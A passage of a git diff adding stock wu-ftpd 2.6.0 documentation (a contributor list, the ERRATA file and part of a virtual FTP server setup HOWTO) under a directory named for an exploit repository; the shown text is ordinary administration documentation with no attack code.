| 87 | drl@vuse.vanderbilt.edu (David R. Linn) | ||
| 88 | dsf@frontiernet.net | ||
| 89 | duncan@MCS.VUW.AC.NZ (Duncan McEwan) | ||
| 90 | dupuis@lei.ucl.ac.be (Pascal A. Dupuis) | ||
| 91 | eduard.vopicka@vse.cs (Eduard Vopicka) | ||
| 92 | eiji@papanui.ddt.or.jp (Eiji Kuramoto) | ||
| 93 | eilon@aristo.tau.ac.il (Eilon Gishri) | ||
| 94 | e.j.r.leyssens@student.utwente.nl (Eli-Jean Leyssens) | ||
| 95 | emil.isberg@mds.mdh.se (Emil Isberg) | ||
| 96 | ener@firehouse.net | ||
| 97 | enout@eurecom.fr (Alain ENOUT) | ||
| 98 | eric@sendmail.org (Eric P. Allman) | ||
| 99 | ernestm@mindspring.com (Ernest Mueller) | ||
| 100 | evanc@synapse.net (Evan Champion) | ||
| 101 | explorer@iastate.edu | ||
| 102 | facq@U-Bordeaux.FR (Laurent FACQ) | ||
| 103 | fangchin@azc.com (Chin Fang) | ||
| 104 | fcusack@iconnet.net (Frank Cusack) | ||
| 105 | felicity@kluge.net (Theo Van Dinter) | ||
| 106 | fishbowl@netcomi.com | ||
| 107 | flaps@dgp.toronto.edu (Alan J Rosenthal) | ||
| 108 | fmouse@fmp.com | ||
| 109 | frank@Kirk.NetUnlimited.net (Frank Mogaddedi) | ||
| 110 | (Free Software Foundation, Inc.) | ||
| 111 | fxa@boombox.micro.umn.edu (Farhad Anklesaria) | ||
| 112 | gafton@redhat.com (Cristian Gafton) | ||
| 113 | GBaysing@HiWAAY.net (Geoff Baysinger) | ||
| 114 | ghelmer@dsuvax.dsu.edu | ||
| 115 | gilles_ciselet@be.ibm.com | ||
| 116 | gjermund@nextel.no (Gjermund Sxrseth) | ||
| 117 | glenn@cs.hmc.edu (Glenn Matthew Gebhart) | ||
| 118 | glenn@more.net (Glenn Nielsen) | ||
| 119 | greg@ceylon.ragnet.com (Greg) | ||
| 120 | greg@waughs.com (Greg Waugh) | ||
| 121 | gruner@informatik.tu-muenchen.de | ||
| 122 | gryphon@healer.com (Coranth Gryphon) | ||
| 123 | guenther@ira.uka.de | ||
| 124 | gunnar@bitcon.no (Gunnar Helliesen) | ||
| 125 | gustavo@movicom.movi.com.ar (Gustavo Zacarias) | ||
| 126 | gwynp@artware.qc.ca (Philip Gwyn) | ||
| 127 | handley@admin.microserve.net (Mike Handley) | ||
| 128 | helm@fionn.es.net (Michael Helm) | ||
| 129 | hilgert@powerpc.lion.de (Thomas Hilgert) | ||
| 130 | hmarson@ibm.net (Hamish N Marson) | ||
| 131 | hobbit@AVIAN.ORG (Al Walker) | ||
| 132 | hogden@rge.com (Brett M Hogden) | ||
| 133 | ianw@sco.com (Ian Willis) | ||
| 134 | I.A.Saez.Scheihing@urc.tue.nl | ||
| 135 | icculus@visi.net | ||
| 136 | ioresult@usa.net (P. Kearney III) | ||
| 137 | isf55@tid.es | ||
| 138 | (J. Zawinski) | ||
| 139 | (Jaakko Hyvatti) | ||
| 140 | james@corp.netcom.net.uk | ||
| 141 | james@tiger.hcht.edu.tw (Chun-Hsiung Chiu) | ||
| 142 | jbf@schubert.telepac.pt | ||
| 143 | (Jeff Laing) | ||
| 144 | jeff@onion.rain.com | ||
| 145 | jfw@jfwhome.funhouse.com (John F. Woods) | ||
| 146 | jgross@uiuc.edu (Joe Gross) | ||
| 147 | jieff@odie.mcom.fr (Jean-Francois Monnet) | ||
| 148 | Jim_Marnell@cca-int.com | ||
| 149 | Jim.Stosick@Forsythe.Stanford.EDU (Jim Stosick) | ||
| 150 | jlewis@inorganic5.fdt.net (Jon Lewis) | ||
| 151 | jms@uic.edu (John Schulien) | ||
| 152 | joge@stud.ntnu.no (Geir Johannessen) | ||
| 153 | john.ladwig@soils.umn.edu | ||
| 154 | john@nexnix.co.uk (John Marshall) | ||
| 155 | jose@haulpak.com (Jose Santiago) | ||
| 156 | joshua@ednet.co.uk (Joshua Goodall) | ||
| 157 | jos@xos.nl (Jos Vos) | ||
| 158 | jpr5@netect.com (Jordan Ritter) | ||
| 159 | jwhite@codeweavers.com (Jeremy White) | ||
| 160 | JWHITFIELD@wwcc.cc.wy.us | ||
| 161 | karl@hci.national-physical-lab.co.uk | ||
| 162 | kaspar@soften.ktu.lt (Aidas Kasparas) | ||
| 163 | kazuhiko@mars.club.or.jp (Wakui Kazuhiko) | ||
| 164 | (kazushi Marukawa) | ||
| 165 | kdb@unx.sas.com | ||
| 166 | keller@bfg.com (Ted Keller) | ||
| 167 | kent@landfield.com (Kent Landfield) | ||
| 168 | kero@elite.watt.rhno.columbia.edu (Ueber Sheep) | ||
| 169 | kir@rus.net | ||
| 170 | klmitch@MIT.EDU (Kevin L. Mitchell) | ||
| 171 | komine@cc.meisei-u.ac.jp (Kazuyoshi Komine) | ||
| 172 | koos@pizza.hvu.nl (Koos van den Hout) | ||
| 173 | kroz@cs.columbia.edu (Fred Korz) | ||
| 174 | kshipley@jh-kvi.com (Kirk Shipley) | ||
| 175 | kuersch@ita.uni-heidelberg.de (Rainer Kuerschner) | ||
| 176 | lamont@cranston.fc.hp.com (LaMont Jones) | ||
| 177 | lamont@security.hp.com | ||
| 178 | Laurent.Ghys@ircam.fr (Laurent Ghys) | ||
| 179 | leavitt@webcom.com | ||
| 180 | leif@imho.net (Leif Ericksen) | ||
| 181 | lenny@icus.com | ||
| 182 | libove@felines.org (Jay Vassos-Libove) | ||
| 183 | lmjm@icparc.ic.ac.uk (Lee McLoughlin) | ||
| 184 | logic@shell.break.com.au | ||
| 185 | Luc.Beurton@fnet.fr (Luc Beurton) | ||
| 186 | luc@scylla.math.mcgill.ca (Luc Lalonde) | ||
| 187 | lundberg@vr.net (Gregory A Lundberg) | ||
| 188 | luomat@peak.org (Timothy J. Luoma) | ||
| 189 | mahadi@mtk.kpm.my | ||
| 190 | Marc.Baudoin@hsc.fr.net (Marc Baudoin) | ||
| 191 | Marc.Baudoin@solsoft.com (Marc Baudoin) | ||
| 192 | marcs@znep.com (Marc Slemko) | ||
| 193 | marc@www.destek.net (Marc Evans) | ||
| 194 | marekm@i17linuxb.ists.pwr.wroc.pl (Marek Michalkiewicz) | ||
| 195 | (Mark Galbraith) | ||
| 196 | marta@mdp.edu.ar (Marta Ferreyra) | ||
| 197 | (Massachusetts Institute of Technology) | ||
| 198 | mats.petersson@mbox301.swipnet.se | ||
| 199 | matt.soffen@beasys.com (Matt Soffen) | ||
| 200 | mau@ipifidpt.difi.unipi.it | ||
| 201 | maw@paradigm.co.za | ||
| 202 | mbrennen@fni.com (Michael Brennen) | ||
| 203 | mcb@compaq.com | ||
| 204 | mcbride@gdwest.gd.com | ||
| 205 | mdavis@cts.com | ||
| 206 | mding@hcia.com | ||
| 207 | metcalf@cag.lcs.mit.edu (Chris Metcalf) | ||
| 208 | mhpower@mit.edu (Matt Power) | ||
| 209 | michael@ra.TSS.PeachNet.EDU | ||
| 210 | migi@zuo.dec.com (Miguel Mena) | ||
| 211 | mike@atlas.physchem.chemie.uni-tuebingen.de | ||
| 212 | mikedoug@texas.net | ||
| 213 | mjl@squid.jpl.nasa.gov (Mark Lysek) | ||
| 214 | mjo@fmsrl7.srl.ford.com (Mike J. O'Connor) | ||
| 215 | mmclagan@invlogic.com (Mike McLagan) | ||
| 216 | mr@cica.indiana.edu (Mike Regoli) | ||
| 217 | mrichard@mtt.ca (Maurice Richard) | ||
| 218 | mschmidt@Fh-Koblenz.DE (Michael Schmidt) | ||
| 219 | muewi@Informatik.Uni-Bremen.DE (Wilhelm Mueller) | ||
| 220 | myers@umich.edu (Eric Myers) | ||
| 221 | nagasima@sdd.siznes.nec.co.jp (Syunji NAGASIMA) | ||
| 222 | neighorn@quatloo.scn.rain.com (Steven C Neighorn) | ||
| 223 | nick@null.net (Nicholas Crawford) | ||
| 224 | nik@acs.bu.edu (Nik Conwell) | ||
| 225 | nikm@cyberflunk.com (Nikos Mouat) | ||
| 226 | nmm1@cus.cam.ac.uk (Nick Maclaren) | ||
| 227 | nneul@umr.edu (Nathan Neulinger) | ||
| 228 | noid@cyborg.larc.nasa.gov | ||
| 229 | nrjw@chevron.com | ||
| 230 | ofer@stat.Berkeley.EDU (Ofer Licht) | ||
| 231 | okir@caldera.de (Olaf Kirch) | ||
| 232 | Ole.H.Nielsen@fysik.dtu.dk (Ole Holm Nielsen) | ||
| 233 | oliver@billix.franken.de (Oliver Billmann) | ||
| 234 | oneill@cs.uml.edu (Brian O'Neill) | ||
| 235 | palmieri@quadrix.com (Thomas Palmieri) | ||
| 236 | paulf@aphrodite.com (Paul Forgey) | ||
| 237 | paul@obs.net (Paul Whittenburg) | ||
| 238 | pauls@locust.etext.org (Paul Southworth) | ||
| 239 | pb@techno.org (Patrik Backstrom) | ||
| 240 | perf@efd.lth.se | ||
| 241 | perrot@francenet.fr (Gildas Perrot) | ||
| 242 | perry@news.IAEhv.nl | ||
| 243 | Peter.Newman@hcn.net.au (Peter Newman) | ||
| 244 | pguyot@cvf.fr | ||
| 245 | phil@cgrg.ohio-state.edu (Phil Ritzenthaler) | ||
| 246 | philip@intercon.com (Philip Kearney III) | ||
| 247 | Philippe.Langlois@INTRINsec.com (Philippe Langlois) | ||
| 248 | philipp@enteka.com | ||
| 249 | pi@aztec.co.za (Pieter Immelman) | ||
| 250 | Piete.Brooks@cl.cam.ac.uk (Piete Brooks) | ||
| 251 | pkern@utcc.utoronto.ca (P Kern) | ||
| 252 | prb@bsdi.com (Paul Borman) | ||
| 253 | pschwan@cmu.edu (Phil Schwan) | ||
| 254 | rah@lynx.lz.att.com (Roger Hanke) | ||
| 255 | ra@hp.is (Richard Allen) | ||
| 256 | rand@aero.und.nodak.edu | ||
| 257 | randall.blahut@langley.af.mil (Randy Blahut) | ||
| 258 | rfg@segfault.monkeys.com | ||
| 259 | rh@idle.trapdoor.vip.at (Rene Hexel) | ||
| 260 | ric@Artisoft.COM | ||
| 261 | richard@atheist.tamu.edu | ||
| 262 | richard@swansong.stg.brown.edu | ||
| 263 | richmond@k2.llnl.gov (George H Richmond) | ||
| 264 | rich@Rice.edu | ||
| 265 | rkw@creek.bsd.att.com (Roger K. Winters) | ||
| 266 | robin@is.co.za | ||
| 267 | rob@mainstream-tech.com (Rob Nichols) | ||
| 268 | rodrigo@dc.ufscar.br (Rodrigo Costa Colossi) | ||
| 269 | rog@therion.lamc.utexas.edu | ||
| 270 | ronald@demon.net | ||
| 271 | root@anubis.science.unitn.it (Valter Cavecchia) | ||
| 272 | root@cwo.com (Jorg Bielak) | ||
| 273 | root@internexus.net | ||
| 274 | root@kirk.vossnet.de | ||
| 275 | root@startrek.in-trier.de | ||
| 276 | root@univ.uniyar.ac.ru (Alexander) | ||
| 277 | rosc@fbn.dandy.net (Roscinante) | ||
| 278 | rosen@eosdata.gsfc.nasa.gov (Wayne Rosen) | ||
| 279 | roy@atlantic.net (Jonathan Roy) | ||
| 280 | rparry@hydrolab.arsusda.gov (Rob Parry) | ||
| 281 | rse@engelschall.com (Ralf S. Engelschall) | ||
| 282 | rsw@Glue.umd.edu (Randall S. Winchester) | ||
| 283 | samkaski@cs.helsinki.fi (Samuli Kaski) | ||
| 284 | sblair@dell.com | ||
| 285 | schoepf@uni-mainz.de | ||
| 286 | schultz@science.widener.edu (Marty Schultz) | ||
| 287 | scott@galileo.cuug.ab.ca | ||
| 288 | scott_mackay@mail.rte.com | ||
| 289 | Scott.Parmenter@trw.com (Scott Parmenter) | ||
| 290 | scrappy@ki.net (Marc G. Fournier) | ||
| 291 | security@kinch.ark.com | ||
| 292 | semdmail@sendmail.com (Sendmail, Inc.) | ||
| 293 | serge@genesyslab.com (Sergey Zhuk) | ||
| 294 | sgarrett@technomancer.com | ||
| 295 | shadow@johnstown.andrew.cmu.edu (Derrick J. Brashear) | ||
| 296 | shibata@isc.chubu.ac.jp (Shoichi Shibata) | ||
| 297 | shingo@fla.fujitsu.com (Shingo Fujimoto) | ||
| 298 | sinder@thp.Uni-Koeln.DE | ||
| 299 | s-isoda@ricelabo.com (Shigeharu Isoda) | ||
| 300 | sob@academ.com (Stan Olan Barber) | ||
| 301 | sohos@enviro-eng.com | ||
| 302 | Speier.Guy@cnf.com (Guy J Speier) | ||
| 303 | sr@inri.com | ||
| 304 | staikos@0wned.org (George Staikos) | ||
| 305 | stanonik@nprdc.navy.mil | ||
| 306 | stevecs@chaven.com (Stephen Costaras) | ||
| 307 | steve@sccsi.com | ||
| 308 | stpiera@awl.com (Aaron St. Pierre) | ||
| 309 | sullivan@odysseus.gonzaga.pvt.k12.dc.us | ||
| 310 | suse@wavenet.it (Simone Castellaneta) | ||
| 311 | swcxt@boco.co.gov | ||
| 312 | sxk13@psu.edu | ||
| 313 | sylvain@nasirc.hq.nasa.gov (Greg Sylvain) | ||
| 314 | tchrist@jhereg.perl.com | ||
| 315 | thianlengvictor.tan@bnpgroup.com | ||
| 316 | thogard@not.abnormal.com | ||
| 317 | tin@smsc.sony.com | ||
| 318 | tkevans@eplrx7.es.dupont.com (Tim Evans) | ||
| 319 | torben.leifsen@astro.uio.no | ||
| 320 | trosmus@nwnexus.net (Tim Rosmus) | ||
| 321 | tsurmacz@ict.pwr.wroc.pl (Tomasz R. Surmacz) | ||
| 322 | ttsg@ttsg.com (Scott J Ellentuch) | ||
| 323 | tundra@nnenews.com | ||
| 324 | tyw@deltanet.com (T.Y. Wu) | ||
| 325 | (University of California, Berkeley and its contributors) | ||
| 326 | urishe@mail.inter.net.il (Uri) | ||
| 327 | vic@perceptive.net (Vic Summerour) | ||
| 328 | viljar@ats.cyber.ee (Viljar Tulit) | ||
| 329 | vmsapiro@tigr.org (Vadim M. Sapiro) | ||
| 330 | vogel@physik.unizh.ch (Stefan Vogel) | ||
| 331 | volker@Illuminatus.MZ.Rhein-Main.DE (Volker Schmidt) | ||
| 332 | wally.winzer@ChampUSA.COM (Auteria Wally Winzer Jr) | ||
| 333 | (Washington University in Saint Louis and its contributors) | ||
| 334 | wfp5p@tigger.itc.virginia.edu (Bill Pemberton) | ||
| 335 | whatis@yyz.com (Steven Boswell) | ||
| 336 | whitakek@baileys-emh5.army.mil (Kenneth Whitaker) | ||
| 337 | whn@topelo.lopi.com | ||
| 338 | wls@astro.umd.edu | ||
| 339 | Wolfram.Schmidt@iao.fhg.de (Wolfram Schmidt) | ||
| 340 | wymanm@is.rice.edu (Wyman Eric Miles) | ||
| 341 | x920031@rubb.rz.ruhr-uni-bochum.de | ||
| 342 | yjh@styx.cabel.net (Iouri Kharon) | ||
| 343 | y-koga@ccs.mt.nec.co.jp (Koga Youichirou) | ||
| 344 | yua@artlover.com (Alex Yu) | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/ERRATA b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/ERRATA new file mode 100644 index 0000000..4cb1eb1 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/ERRATA | |||
| @@ -0,0 +1,68 @@ | |||
| 1 | |||
| 2 | Copyright (c) 1999 WU-FTPD Development Group. | ||
| 3 | All rights reserved. | ||
| 4 | |||
| 5 | Portions Copyright (c) 1980, 1985, 1988, 1989, 1990, 1991, 1993, 1994 | ||
| 6 | The Regents of the University of California. | ||
| 7 | Portions Copyright (c) 1993, 1994 Washington University in Saint Louis. | ||
| 8 | Portions Copyright (c) 1996, 1998 Berkeley Software Design, Inc. | ||
| 9 | Portions Copyright (c) 1989 Massachusetts Institute of Technology. | ||
| 10 | Portions Copyright (c) 1998 Sendmail, Inc. | ||
| 11 | Portions Copyright (c) 1983, 1995, 1996, 1997 Eric P. Allman. | ||
| 12 | Portions Copyright (c) 1997 by Stan Barber. | ||
| 13 | Portions Copyright (c) 1997 by Kent Landfield. | ||
| 14 | Portions Copyright (c) 1991, 1992, 1993, 1994, 1995, 1996, 1997 | ||
| 15 | Free Software Foundation, Inc. | ||
| 16 | |||
| 17 | Use and distribution of this software and its source code are governed | ||
| 18 | by the terms and conditions of the WU-FTPD Software License ("LICENSE"). | ||
| 19 | |||
| 20 | If you did not receive a copy of the license, it may be obtained online | ||
| 21 | at http://www.wu-ftpd.org/license.html. | ||
| 22 | |||
| 23 | $Id: ERRATA,v 1.7 1999/09/05 02:46:01 wuftpd Exp $ | ||
| 24 | |||
| 25 | |||
| 26 | |||
| 27 | Known problems (2.6.0) | ||
| 28 | ===================== | ||
| 29 | These are problems which are know and will be corrected in future versions. | ||
| 30 | |||
| 31 | |||
| 32 | |||
| 33 | class= | ||
| 34 | ------ | ||
| 35 | The 'class=' phrase does not work as documented in the | ||
| 36 | upload.configuration.HOWTO. This is because the way the ftpaccess file is | ||
| 37 | handled is far too simplistic for the feature. This is most appearent on | ||
| 38 | the delete, rename, overwrite and chmod clauses. | ||
| 39 | |||
| 40 | To work arround this problem, you first need to know the default for these | ||
| 41 | clauses is 'no' for anonymous users and 'yes' for real and guest users. To | ||
| 42 | override the default for a specific class, you can use the 'class=' phrase. | ||
| 43 | The problem occurs when you want to override the default for all but a | ||
| 44 | given class; in this case you'll need to explicitly list each class. | ||
| 45 | |||
| 46 | |||
| 47 | |||
| 48 | getcwd() | ||
| 49 | -------- | ||
| 50 | A number of systems have no getcwd() function or their implementation of | ||
| 51 | the function is broken in some way. A portable version of the getcwd() | ||
| 52 | function has been included in the support directory. NeXTstep version 3 | ||
| 53 | (nx3) and SunOS 4.1 (s41) are configured to use this portable version of | ||
| 54 | getcwd(). If your system is one of the following systems, and you get this | ||
| 55 | portable version to work, please report any change needed so we may include | ||
| 56 | them in a future release. Remember, systems without a working getcwd() | ||
| 57 | have an identified security problem. | ||
| 58 | |||
| 59 | Systems needing getcwd(): | ||
| 60 | |||
| 61 | BSD 4.4 (bsd) | ||
| 62 | Unix 3.x (dec) | ||
| 63 | DG/UX (dgx) | ||
| 64 | Dynix (dyn) | ||
| 65 | generic (gen) | ||
| 66 | NeXTstep 2.x (nx2) | ||
| 67 | OSF/1 (osf) | ||
| 68 | Sony NewsOS (sny) | ||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/HOWTO/VIRTUAL.FTP.SUPPORT b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/HOWTO/VIRTUAL.FTP.SUPPORT new file mode 100644 index 0000000..90c9542 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/doc/wu-ftpd-2.6.0/HOWTO/VIRTUAL.FTP.SUPPORT | |||
| @@ -0,0 +1,722 @@ | |||
| 1 | |||
| 2 | Copyright (c) 1999 WU-FTPD Development Group. | ||
| 3 | All rights reserved. | ||
| 4 | |||
| 5 | Portions Copyright (c) 1980, 1985, 1988, 1989, 1990, 1991, 1993, 1994 | ||
| 6 | The Regents of the University of California. | ||
| 7 | Portions Copyright (c) 1993, 1994 Washington University in Saint Louis. | ||
| 8 | Portions Copyright (c) 1996, 1998 Berkeley Software Design, Inc. | ||
| 9 | Portions Copyright (c) 1989 Massachusetts Institute of Technology. | ||
| 10 | Portions Copyright (c) 1998 Sendmail, Inc. | ||
| 11 | Portions Copyright (c) 1983, 1995, 1996, 1997 Eric P. Allman. | ||
| 12 | Portions Copyright (c) 1997 by Stan Barber. | ||
| 13 | Portions Copyright (c) 1997 by Kent Landfield. | ||
| 14 | Portions Copyright (c) 1991, 1992, 1993, 1994, 1995, 1996, 1997 | ||
| 15 | Free Software Foundation, Inc. | ||
| 16 | |||
| 17 | Use and distribution of this software and its source code are governed | ||
| 18 | by the terms and conditions of the WU-FTPD Software License ("LICENSE"). | ||
| 19 | |||
| 20 | If you did not receive a copy of the license, it may be obtained online | ||
| 21 | at http://www.wu-ftpd.org/license.html. | ||
| 22 | |||
| 23 | $Id: VIRTUAL.FTP.SUPPORT,v 1.2 1999/09/26 12:48:18 wuftpd Exp $ | ||
| 24 | |||
| 25 | [----] | ||
| 26 | |||
| 27 | Method for Supporting Virtual FTP Servers in WU-FTPD | ||
| 28 | |||
| 29 | [----] | ||
| 30 | |||
| 31 | Table of Contents | ||
| 32 | |||
| 33 | 1. Introduction | ||
| 34 | 2. What is virtual FTP server support ? | ||
| 35 | 3. Setup Overview | ||
| 36 | 4. Configuring IP Address Aliases | ||
| 37 | 4.1. Configuring IP Aliases on Sun Solaris 2.5 | ||
| 38 | 4.2. Configuring IP Aliases on SGI | ||
| 39 | 4.3. Configuring IP Aliases on FreeBSD | ||
| 40 | 4.4. Configuring IP Aliases on AIX | ||
| 41 | 4.5. After system configuration | ||
| 42 | 4.6. Testing interfaces | ||
| 43 | 5. Building the software | ||
| 44 | 6. Setting up the directory structure for virtual server support | ||
| 45 | 7. Configuring to support Virtual FTP Server Support | ||
| 46 | 7.1. Background | ||
| 47 | 7.1.1. Limited Virtual Hosting Support: | ||
| 48 | 7.1.2. Complete Virtual Hosting Support: | ||
| 49 | 7.2. Create an ftpservers file: | ||
| 50 | 7.3. Virtual ftpaccess files: | ||
| 51 | 7.4. Master ftpaccess file Modifications: | ||
| 52 | 7.5. Adding other virtual domain files | ||
| 53 | 8. Setting up other support files | ||
| 54 | 9. Supporting virtual logging | ||
| 55 | 10. Shutting down your virtual FTP servers | ||
| 56 | 11. Restarting your shutdown virtual FTP servers | ||
| 57 | 12. Testing Your New Shiny Virtual Server Setup | ||
| 58 | |||
| 59 | [----] | ||
| 60 | |||
| 61 | 1. Introduction | ||
| 62 | --------------- | ||
| 63 | |||
| 64 | So you want to setup more than one FTP server on the same | ||
| 65 | machine.... | ||
| 66 | |||
| 67 | To make it work you will need to use the virtual server support in | ||
| 68 | wu-ftpd. What follows are instructions for building the software | ||
| 69 | and configuring it to use virtual servers. | ||
| 70 | |||
| 71 | [----] | ||
| 72 | |||
| 73 | 2. What is virtual FTP server support ? | ||
| 74 | --------------------------------------- | ||
| 75 | |||
| 76 | If you wish to manage an ftp server for two separate domains on | ||
| 77 | the same machine then you need to be able to support virtual FTP | ||
| 78 | servers. Basically, this allows an administrator to configure | ||
| 79 | their system so a user ftping to ftp.domain1.com gets one ftp | ||
| 80 | banner and one ftp directory and a user ftping to ftp.domain2.com | ||
| 81 | gets another banner and directory even though they are on the same | ||
| 82 | machine and use the same ports. | ||
| 83 | |||
| 84 | Virtual ftp servers make supporting multiple domains a lot less | ||
| 85 | costly and are easier to maintain than multiple ftp servers on | ||
| 86 | multiple machines. | ||
| 87 | |||
| 88 | [----] | ||
| 89 | |||
| 90 | 3. Setup Overview | ||
| 91 | ----------------- | ||
| 92 | |||
| 93 | In order to set up a virtual ftp server environment you need to | ||
| 94 | understand what it is you're about to do. What follows is a brief | ||
| 95 | overview of the process ahead. | ||
| 96 | |||
| 97 | * You will be configuring your machine to respond to multiple | ||
| 98 | IP addresses. This is done via IP Address Aliases described | ||
| 99 | below. First, you need to acquire the IP addresses you'll | ||
| 100 | need. Once you have an IP address for each virtual server you | ||
| 101 | wish to setup, you are ready to proceed. | ||
| 102 | |||
| 103 | * Once you can see both addresses from the network, you will | ||
| 104 | need to build and install the wu-ftpd software to support | ||
| 105 | virtual servers. | ||
| 106 | |||
| 107 | * Next you need to setup up the ftp directory structure for | ||
| 108 | each virtual server you wish to support. You will need to | ||
| 109 | customize the banner and message files in each of the virtual | ||
| 110 | server areas. | ||
| 111 | |||
| 112 | * With the directories in place you are ready to configure the | ||
| 113 | configuration files and specify the virtual server specific | ||
| 114 | information. | ||
| 115 | |||
| 116 | * In order to be able to separate out who is logging in to what | ||
| 117 | virtual server, you'll need to configure the system logging. | ||
| 118 | This allows you to maintain separate logfiles depicting the | ||
| 119 | activity of each virtual server. | ||
| 120 | |||
| 121 | * And finally, you need to test your configuration. Once that | ||
| 122 | is accomplished you can feel pleased with yourself and begin | ||
| 123 | populating the individual ftp directories with data as | ||
| 124 | appropriate. | ||
| 125 | |||
| 126 | Additionally, you need to know how to shutdown and restart access | ||
| 127 | to your real, anonymous and virtual servers in the event you need | ||
| 128 | to. | ||
| 129 | |||
| 130 | [----] | ||
| 131 | |||
| 132 | 4. Configuring IP Address Aliases | ||
| 133 | --------------------------------- | ||
| 134 | |||
| 135 | You have to be able to setup IP address aliases in order for the | ||
| 136 | virtual server support in wu-ftpd to work. Linux and BSDI, | ||
| 137 | FreeBSD, SGI, Solaris 2.5*, AIX and others support this. What | ||
| 138 | follows are "general" instructions on how to configure IP address | ||
| 139 | aliases for the specified systems. Please check your system's | ||
| 140 | 'ifconfig' documentation for specific instructions. | ||
| 141 | |||
| 142 | In order to make the changes to the required system files you will | ||
| 143 | first need to login as root. | ||
| 144 | |||
| 145 | 4.1. Configuring IP Aliases on Sun Solaris 2.5: | ||
| 146 | ----------------------------------------------- | ||
| 147 | |||
| 148 | 1. Assure/place the system's normal hostname/IP address in the | ||
| 149 | file /etc/hostname.le0. | ||
| 150 | |||
| 151 | 2. Insert the following in the system initialization file | ||
| 152 | /etc/init.d/rootuser just after the if/fi test for | ||
| 153 | interface_names. | ||
| 154 | |||
| 155 | # | ||
| 156 | # configure virtual host interfaces quietly. | ||
| 157 | # | ||
| 158 | /sbin/ifconfig le0:1 inet XXX.XXX.XXX.XXX netmask + broadcast | ||
| 159 | + -trailers up 2>&1 > /dev/null | ||
| 160 | |||
| 161 | Replace XXX.XXX.XXX.XXX with the IP address that you wish to | ||
| 162 | alias. | ||
| 163 | |||
| 164 | 4.2. Configuring IP Aliases on SGI: | ||
| 165 | ----------------------------------- | ||
| 166 | |||
| 167 | 1. Edit /etc/hosts to include IP address and the name of the | ||
| 168 | virtual server | ||
| 169 | |||
| 170 | 2. Edit /etc/config/ipaliases.options using comments in that | ||
| 171 | file as a template: | ||
| 172 | |||
| 173 | ec0 XXX.XXX.XXX.xxx netmask 0xffffff00 broadcast | ||
| 174 | XXX.XXX.XXX.255 | ||
| 175 | |||
| 176 | or | ||
| 177 | |||
| 178 | ec0 foobar netmask 0xffffff00 broadcast XXX.XXX.XXX.255 | ||
| 179 | |||
| 180 | 3. /etc/chkconfig -f ipaliases on | ||
| 181 | |||
| 182 | Replace XXX.XXX.XXX.xxx with the IP address that you wish to | ||
| 183 | alias. | ||
| 184 | Replace XXX.XXX.XXX.255 with the network's broadcast address. | ||
| 185 | |||
| 186 | 4.3. Configuring IP Aliases on FreeBSD: | ||
| 187 | --------------------------------------- | ||
| 188 | |||
| 189 | 1. If you are using a recent version of FreeBSD (3.x or 4.x): | ||
| 190 | |||
| 191 | Edit /etc/rc.conf and put something like the following in. | ||
| 192 | |||
| 193 | ifconfig_ed1_alias0="inet XXX.XXX.XXX.XXX netmask 0xffffffff" | ||
| 194 | |||
| 195 | (You might have to change the device name from ed1) | ||
| 196 | |||
| 197 | |||
| 198 | 2. If you are using an old version of FreeBSD (1.x or 2.x): | ||
| 199 | |||
| 200 | Edit /etc/netstart and put something like the following in. | ||
| 201 | |||
| 202 | ifconfig de0 alias XXX.XXX.XXX.XXX netmask 0xffffffff | ||
| 203 | |||
| 204 | (or use ed0 or some other netmask if appropriate) | ||
| 205 | |||
| 206 | |||
| 207 | 4.4. Configuring IP Aliases on AIX: | ||
| 208 | ----------------------------------- | ||
| 209 | |||
| 210 | In the way AIX is shipped, there is no direct support for IP | ||
| 211 | aliases in the ODM. This does not mean that AIX does not support | ||
| 212 | IP aliases, it means that IP alias info is stored in an ASCII file | ||
| 213 | rather than in the ODM. | ||
| 214 | |||
| 215 | 1. Edit the proper /etc/rc* file. | ||
| 216 | |||
| 217 | If you are currently using an ODM TCP/IP configuration, edit | ||
| 218 | the file /etc/rc.net. | ||
| 219 | |||
| 220 | If you are using the traditional "BSD-style bootup method", | ||
| 221 | edit the file /etc/rc.bsdnet instead. | ||
| 222 | |||
| 223 | 2. Add a line such as the following example. | ||
| 224 | |||
| 225 | /usr/sbin/ifconfig tr0 inet xx.xx.xx.xx netmask yy.yy.yy.yy | ||
| 226 | alias 1>/dev/null 2>&1 | ||
| 227 | |||
| 228 | Be sure to set the interface to the correct type if you are | ||
| 229 | not using token ring (tr0) as the example shows. | ||
| 230 | |||
| 231 | Refer to the ifconfig man pages. For more info on TCP/IP | ||
| 232 | configuration and tuning, review the "no" command. | ||
| 233 | |||
| 234 | 4.5. After system configuration: | ||
| 235 | -------------------------------- | ||
| 236 | |||
| 237 | In order to test your new configuration it is wise to | ||
| 238 | reboot your system. This assures that your system is | ||
| 239 | properly configured in the event of an non-planned | ||
| 240 | system halt/reboot. A problem here is that the system is | ||
| 241 | probably a production server for someone else... It is | ||
| 242 | recommended that you add virtual www/ftp servers to your | ||
| 243 | system at a scheduled maintenance time. Also, if you are | ||
| 244 | adding more than one virtual server, add them all and | ||
| 245 | simply reboot a single time. If you cannot reboot then | ||
| 246 | execute the appropriate ifconfig (or chkconfig) command | ||
| 247 | and test the reboot when you can. | ||
| 248 | |||
| 249 | Also, if not immediately rebooting, it's not a bad idea | ||
| 250 | to | ||
| 251 | |||
| 252 | arp -s XXX.XXX.XXX.XXX x:x:xx:xx:xx:xx pub | ||
| 253 | |||
| 254 | where XXX.XXX.XXX.XXX is the IP Address and where | ||
| 255 | x:x:xx:xx:xx:xx is the Ethernet/whatever hardware | ||
| 256 | physical address. | ||
| 257 | |||
| 258 | 4.6. Testing interfaces: | ||
| 259 | ------------------------ | ||
| 260 | |||
| 261 | You need to assure you can see the interfaces using | ||
| 262 | netstat and then try to ping the interface to assure it | ||
| 263 | is responding. If so, your system is now ready. Now it's | ||
| 264 | time to setup the FTPD server software and virtual | ||
| 265 | server directories. | ||
| 266 | |||
| 267 | [----] | ||
| 268 | |||
| 269 | 5. Building the software | ||
| 270 | ------------------------ | ||
